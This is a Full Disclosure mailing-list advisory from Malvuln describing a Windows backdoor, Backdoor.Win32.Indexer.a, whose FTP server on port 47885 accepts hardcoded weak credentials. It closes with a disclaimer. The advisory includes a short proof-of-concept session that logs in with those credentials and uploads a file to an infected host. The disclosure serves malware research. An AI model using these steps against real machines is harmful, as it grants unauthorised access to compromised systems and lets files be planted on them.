full-disclosure - [FD] Backdoor.Win32.Indexer.a / Hardcoded Weak Credentials

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Message-ID: <CAAHK0WRtO2DV0mY9VfKbV=NaqmaOzYW7aOFaFVCWAErtVNG_Tw@mail.gmail.com>
Date: Mon, 15 Feb 2021 23:36:27 -0500
From: malvuln <malvuln13@...il.com>
To: fulldisclosure@...lists.org
Subject: [FD] Backdoor.Win32.Indexer.a / Hardcoded Weak Credentials

Discovery / credits: Malvuln - malvuln.com (c) 2021
Original source:
https://malvuln.com/advisory/2b576e7551afe1c7575dc680396f1b5b.txt
Contact: malvuln13@...il.com
Media: twitter.com/malvuln

Threat: Backdoor.Win32.Indexer.a
Vulnerability: Hardcoded Weak Credentials
Description: Indexer.a backdoor runs an FTP server that listens on TCP
port 47885 and uses several weak hardcoded credentials "Ronald
Reagen", "Boris Becker", "Donald Duck". The credentials can be easily
veiwed in the binary using strings util. This can allow anyone with up
front knowledge to logon to the infected system.
Type: PE32
MD5: 2b576e7551afe1c7575dc680396f1b5b
Vuln ID: MVID-2021-0091
Dropped files:
Disclosure: 02/15/2021

Exploit/PoC:
TELNET [Malware_Infected_Host] 47885

220 ICS FTP Server ready
USER Ronald
331 Password required for Donald.
PASS Reagen
230 User Donald logged in.
CWD
250 CWD command successful. "C:/TEMP/" is current directory.
PASV
227 Entering Passive Mode (192,168,1,10,194,197).
STOR 1.js
150 Opening data connection for 1.js.
PASV
226 File received ok

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insertion in vulnerability databases and similar, provided that due
credit is given to the author. The author is not responsible for any
misuse of the information contained herein and accepts no
responsibility for any damage caused by the use or misuse of this
information. The author prohibits any malicious use of security
related information or exploits by the author or elsewhere. Do not
attempt to download Malware samples. The author of this website takes
no responsibility for any kind of damages occurring from improper
Malware handling or the downloading of ANY Malware mentioned on this
website or elsewhere. All content Copyright (c) Malvuln.com (TM).

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